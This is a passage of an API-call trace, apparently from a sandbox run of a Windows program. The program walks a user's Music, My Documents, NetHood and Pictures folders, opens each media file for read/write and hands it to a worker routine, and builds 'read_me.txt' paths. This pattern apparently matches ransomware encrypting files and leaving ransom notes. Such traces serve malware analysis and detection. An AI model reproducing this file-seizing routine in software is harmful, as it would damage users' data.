[0078.781] QueueUserWorkItem (Function=0x404e00, Context=0x974, Flags=0x0) returned 1 [0078.781] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eec9c60, ftCreationTime.dwHighDateTime=0x1d4d132, ftLastAccessTime.dwLowDateTime=0xba5a9140, ftLastAccessTime.dwHighDateTime=0x1d4cebf, ftLastWriteTime.dwLowDateTime=0xba5a9140, ftLastWriteTime.dwHighDateTime=0x1d4cebf, nFileSizeHigh=0x0, nFileSizeLow=0x155c9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mAlSp6H27wjN5hoz71.mp3", cAlternateFileName="MALSP6~1.MP3")) returned 1 [0078.781] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mAlSp6H27wjN5hoz71.mp3") returned 62 [0078.781] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mAlSp6H27wjN5hoz71.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\malsp6h27wjn5hoz71.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x978 [0078.781] QueueUserWorkItem (Function=0x404e00, Context=0x978, Flags=0x0) returned 1 [0078.781] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe21a5d20, ftCreationTime.dwHighDateTime=0x1d4d01b, ftLastAccessTime.dwLowDateTime=0x65cece30, ftLastAccessTime.dwHighDateTime=0x1d4c612, ftLastWriteTime.dwLowDateTime=0x65cece30, ftLastWriteTime.dwHighDateTime=0x1d4c612, nFileSizeHigh=0x0, nFileSizeLow=0x2820, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="P2SmfdBDO7z.mp3", cAlternateFileName="P2SMFD~1.MP3")) returned 1 [0078.781] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P2SmfdBDO7z.mp3") returned 55 [0078.781] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P2SmfdBDO7z.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\p2smfdbdo7z.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x97c [0078.781] QueueUserWorkItem (Function=0x404e00, Context=0x97c, Flags=0x0) returned 1 [0078.782] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514c57d0, ftCreationTime.dwHighDateTime=0x1d4c6f2, ftLastAccessTime.dwLowDateTime=0x33d1c6c0, ftLastAccessTime.dwHighDateTime=0x1d4d374, ftLastWriteTime.dwLowDateTime=0x33d1c6c0, ftLastWriteTime.dwHighDateTime=0x1d4d374, nFileSizeHigh=0x0, nFileSizeLow=0x13750, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QS451O3mfaCtB.mp3", cAlternateFileName="QS451O~1.MP3")) returned 1 [0078.782] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\QS451O3mfaCtB.mp3") returned 57 [0078.782] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\QS451O3mfaCtB.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\qs451o3mfactb.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x980 [0078.782] QueueUserWorkItem (Function=0x404e00, Context=0x980, Flags=0x0) returned 1 [0078.782] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ac2bab0, ftCreationTime.dwHighDateTime=0x1d4cf0e, ftLastAccessTime.dwLowDateTime=0xbdf63e10, ftLastAccessTime.dwHighDateTime=0x1d4ccdc, ftLastWriteTime.dwLowDateTime=0xbdf63e10, ftLastWriteTime.dwHighDateTime=0x1d4ccdc, nFileSizeHigh=0x0, nFileSizeLow=0x5180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QYgMb_iTKBCs-P7VxfGf.m4a", cAlternateFileName="QYGMB_~1.M4A")) returned 1 [0078.782] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\QYgMb_iTKBCs-P7VxfGf.m4a") returned 64 [0078.782] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\QYgMb_iTKBCs-P7VxfGf.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\qygmb_itkbcs-p7vxfgf.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984 [0078.782] QueueUserWorkItem (Function=0x404e00, Context=0x984, Flags=0x0) returned 1 [0078.782] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28979350, ftCreationTime.dwHighDateTime=0x1d4cc96, ftLastAccessTime.dwLowDateTime=0x9f37750, ftLastAccessTime.dwHighDateTime=0x1d4d27e, ftLastWriteTime.dwLowDateTime=0x9f37750, ftLastWriteTime.dwHighDateTime=0x1d4d27e, nFileSizeHigh=0x0, nFileSizeLow=0xbc13, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QZNK0YCq3PP-Ko.m4a", cAlternateFileName="QZNK0Y~1.M4A")) returned 1 [0078.782] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\QZNK0YCq3PP-Ko.m4a") returned 58 [0078.782] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\QZNK0YCq3PP-Ko.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\qznk0ycq3pp-ko.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988 [0078.782] QueueUserWorkItem (Function=0x404e00, Context=0x988, Flags=0x0) returned 1 [0078.782] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aa680b0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.782] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\read_me.txt") returned 51 [0078.782] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98c [0078.782] QueueUserWorkItem (Function=0x404e00, Context=0x98c, Flags=0x0) returned 1 [0078.782] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca008f20, ftCreationTime.dwHighDateTime=0x1d4c58a, ftLastAccessTime.dwLowDateTime=0xa7145dc0, ftLastAccessTime.dwHighDateTime=0x1d4c783, ftLastWriteTime.dwLowDateTime=0xa7145dc0, ftLastWriteTime.dwHighDateTime=0x1d4c783, nFileSizeHigh=0x0, nFileSizeLow=0x14a1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UECLUVET6j.mp3", cAlternateFileName="UECLUV~1.MP3")) returned 1 [0078.782] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UECLUVET6j.mp3") returned 54 [0078.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\UECLUVET6j.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uecluvet6j.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x990 [0078.783] QueueUserWorkItem (Function=0x404e00, Context=0x990, Flags=0x0) returned 1 [0078.783] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c7990, ftCreationTime.dwHighDateTime=0x1d4c823, ftLastAccessTime.dwLowDateTime=0x4b140ae0, ftLastAccessTime.dwHighDateTime=0x1d4d09b, ftLastWriteTime.dwLowDateTime=0x4b140ae0, ftLastWriteTime.dwHighDateTime=0x1d4d09b, nFileSizeHigh=0x0, nFileSizeLow=0xdb24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Y3P7jQ7fn.m4a", cAlternateFileName="Y3P7JQ~1.M4A")) returned 1 [0078.783] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Y3P7jQ7fn.m4a") returned 53 [0078.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Y3P7jQ7fn.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y3p7jq7fn.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x994 [0078.783] QueueUserWorkItem (Function=0x404e00, Context=0x994, Flags=0x0) returned 1 [0078.783] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7b0, ftCreationTime.dwHighDateTime=0x1d4ce1c, ftLastAccessTime.dwLowDateTime=0xe7e50d50, ftLastAccessTime.dwHighDateTime=0x1d4ccd7, ftLastWriteTime.dwLowDateTime=0xe7e50d50, ftLastWriteTime.dwHighDateTime=0x1d4ccd7, nFileSizeHigh=0x0, nFileSizeLow=0x1469d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Yl8MlI 5HHTIaJtgEUPT.wav", cAlternateFileName="YL8MLI~1.WAV")) returned 1 [0078.783] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Yl8MlI 5HHTIaJtgEUPT.wav") returned 64 [0078.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Yl8MlI 5HHTIaJtgEUPT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yl8mli 5hhtiajtgeupt.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x998 [0078.783] QueueUserWorkItem (Function=0x404e00, Context=0x998, Flags=0x0) returned 1 [0078.783] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5a3e60, ftCreationTime.dwHighDateTime=0x1d4ca39, ftLastAccessTime.dwLowDateTime=0xfb4f1640, ftLastAccessTime.dwHighDateTime=0x1d4cda1, ftLastWriteTime.dwLowDateTime=0xfb4f1640, ftLastWriteTime.dwHighDateTime=0x1d4cda1, nFileSizeHigh=0x0, nFileSizeLow=0x15ce8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zAMsgYEeJI-lOB.wav", cAlternateFileName="ZAMSGY~1.WAV")) returned 1 [0078.783] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zAMsgYEeJI-lOB.wav") returned 58 [0078.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zAMsgYEeJI-lOB.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zamsgyeeji-lob.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x99c [0078.783] QueueUserWorkItem (Function=0x404e00, Context=0x99c, Flags=0x0) returned 1 [0078.783] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5a3e60, ftCreationTime.dwHighDateTime=0x1d4ca39, ftLastAccessTime.dwLowDateTime=0xfb4f1640, ftLastAccessTime.dwHighDateTime=0x1d4cda1, ftLastWriteTime.dwLowDateTime=0xfb4f1640, ftLastWriteTime.dwHighDateTime=0x1d4cda1, nFileSizeHigh=0x0, nFileSizeLow=0x15ce8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zamsgyeeji-lob.wav", cAlternateFileName="ZAMSGY~1.WAV")) returned 0 [0078.783] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0078.783] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\read_me.txt") returned 51 [0078.783] GetProcessHeap () returned 0x540000 [0078.784] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4340048 | out: hHeap=0x540000) returned 1 [0078.784] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 63 [0078.784] GetProcessHeap () returned 0x540000 [0078.784] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4350050 | out: hHeap=0x540000) returned 1 [0078.788] GetProcessHeap () returned 0x540000 [0078.788] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4340048 [0078.789] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*") returned 48 [0078.789] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5a3e60, ftCreationTime.dwHighDateTime=0x1d4ca39, ftLastAccessTime.dwLowDateTime=0xfb4f1640, ftLastAccessTime.dwHighDateTime=0x1d4cda1, ftLastWriteTime.dwLowDateTime=0xfb4f1640, ftLastWriteTime.dwHighDateTime=0x1d4cda1, nFileSizeHigh=0x0, nFileSizeLow=0x15ce8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zamsgyeeji-lob.wav", cAlternateFileName="")) returned 0xffffffff [0078.789] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\read_me.txt") returned 58 [0078.789] GetProcessHeap () returned 0x540000 [0078.789] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4340048 | out: hHeap=0x540000) returned 1 [0078.789] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 64 [0078.789] GetProcessHeap () returned 0x540000 [0078.789] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4360058 | out: hHeap=0x540000) returned 1 [0078.789] GetProcessHeap () returned 0x540000 [0078.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0078.790] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*") returned 43 [0078.790] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5a3e60, ftCreationTime.dwHighDateTime=0x1d4ca39, ftLastAccessTime.dwLowDateTime=0xfb4f1640, ftLastAccessTime.dwHighDateTime=0x1d4cda1, ftLastWriteTime.dwLowDateTime=0xfb4f1640, ftLastWriteTime.dwHighDateTime=0x1d4cda1, nFileSizeHigh=0x0, nFileSizeLow=0x15ce8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zamsgyeeji-lob.wav", cAlternateFileName="")) returned 0xffffffff [0078.791] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\read_me.txt") returned 53 [0078.791] GetProcessHeap () returned 0x540000 [0078.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4312140 | out: hHeap=0x540000) returned 1 [0078.791] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 65 [0078.791] GetProcessHeap () returned 0x540000 [0078.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4370060 | out: hHeap=0x540000) returned 1 [0078.791] GetProcessHeap () returned 0x540000 [0078.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0078.791] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*") returned 44 [0078.791] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.791] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\.") returned 44 [0078.791] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.791] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\..") returned 45 [0078.791] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3542420, ftCreationTime.dwHighDateTime=0x1d4cb36, ftLastAccessTime.dwLowDateTime=0x9c92b4d0, ftLastAccessTime.dwHighDateTime=0x1d4c59b, ftLastWriteTime.dwLowDateTime=0x9c92b4d0, ftLastWriteTime.dwHighDateTime=0x1d4c59b, nFileSizeHigh=0x0, nFileSizeLow=0x72c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="17TpPBE.png", cAlternateFileName="")) returned 1 [0078.791] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\17TpPBE.png") returned 54 [0078.791] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\17TpPBE.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\17tppbe.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a0 [0078.791] QueueUserWorkItem (Function=0x404e00, Context=0x9a0, Flags=0x0) returned 1 [0078.791] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef9b3ae0, ftCreationTime.dwHighDateTime=0x1d4cb35, ftLastAccessTime.dwLowDateTime=0x77386410, ftLastAccessTime.dwHighDateTime=0x1d4d391, ftLastWriteTime.dwLowDateTime=0x77386410, ftLastWriteTime.dwHighDateTime=0x1d4d391, nFileSizeHigh=0x0, nFileSizeLow=0x10a83, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3bpr.gif", cAlternateFileName="")) returned 1 [0078.791] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3bpr.gif") returned 51 [0078.792] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3bpr.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\3bpr.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a4 [0078.792] QueueUserWorkItem (Function=0x404e00, Context=0x9a4, Flags=0x0) returned 1 [0078.792] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853520d0, ftCreationTime.dwHighDateTime=0x1d4c711, ftLastAccessTime.dwLowDateTime=0xf0edc830, ftLastAccessTime.dwHighDateTime=0x1d4c8e8, ftLastWriteTime.dwLowDateTime=0xf0edc830, ftLastWriteTime.dwHighDateTime=0x1d4c8e8, nFileSizeHigh=0x0, nFileSizeLow=0x45de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3UerTNfwWAyQ3t.gif", cAlternateFileName="3UERTN~1.GIF")) returned 1 [0078.792] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3UerTNfwWAyQ3t.gif") returned 61 [0078.792] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3UerTNfwWAyQ3t.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\3uertnfwwayq3t.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a8 [0078.792] QueueUserWorkItem (Function=0x404e00, Context=0x9a8, Flags=0x0) returned 1 [0078.792] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf1ed0, ftCreationTime.dwHighDateTime=0x1d4c627, ftLastAccessTime.dwLowDateTime=0x7291c910, ftLastAccessTime.dwHighDateTime=0x1d4cac2, ftLastWriteTime.dwLowDateTime=0x7291c910, ftLastWriteTime.dwHighDateTime=0x1d4cac2, nFileSizeHigh=0x0, nFileSizeLow=0xdd62, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5bltIbhRCra_QHB.bmp", cAlternateFileName="5BLTIB~1.BMP")) returned 1 [0078.792] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5bltIbhRCra_QHB.bmp") returned 62 [0078.792] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5bltIbhRCra_QHB.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5bltibhrcra_qhb.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9ac [0078.792] QueueUserWorkItem (Function=0x404e00, Context=0x9ac, Flags=0x0) returned 1 [0078.792] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106ee380, ftCreationTime.dwHighDateTime=0x1d4c72f, ftLastAccessTime.dwLowDateTime=0xcd01ed0, ftLastAccessTime.dwHighDateTime=0x1d4c9d5, ftLastWriteTime.dwLowDateTime=0xcd01ed0, ftLastWriteTime.dwHighDateTime=0x1d4c9d5, nFileSizeHigh=0x0, nFileSizeLow=0x87a9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5mNudqQxd1mtsR8e.gif", cAlternateFileName="5MNUDQ~1.GIF")) returned 1 [0078.792] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5mNudqQxd1mtsR8e.gif") returned 63 [0078.792] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5mNudqQxd1mtsR8e.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5mnudqqxd1mtsr8e.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9b0 [0078.792] QueueUserWorkItem (Function=0x404e00, Context=0x9b0, Flags=0x0) returned 1 [0078.792] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eb17d30, ftCreationTime.dwHighDateTime=0x1d4c882, ftLastAccessTime.dwLowDateTime=0xf552b390, ftLastAccessTime.dwHighDateTime=0x1d4cd07, ftLastWriteTime.dwLowDateTime=0xf552b390, ftLastWriteTime.dwHighDateTime=0x1d4cd07, nFileSizeHigh=0x0, nFileSizeLow=0xa222, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5O8DmV2vXiwvFyVDc.gif", cAlternateFileName="5O8DMV~1.GIF")) returned 1 [0078.792] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS 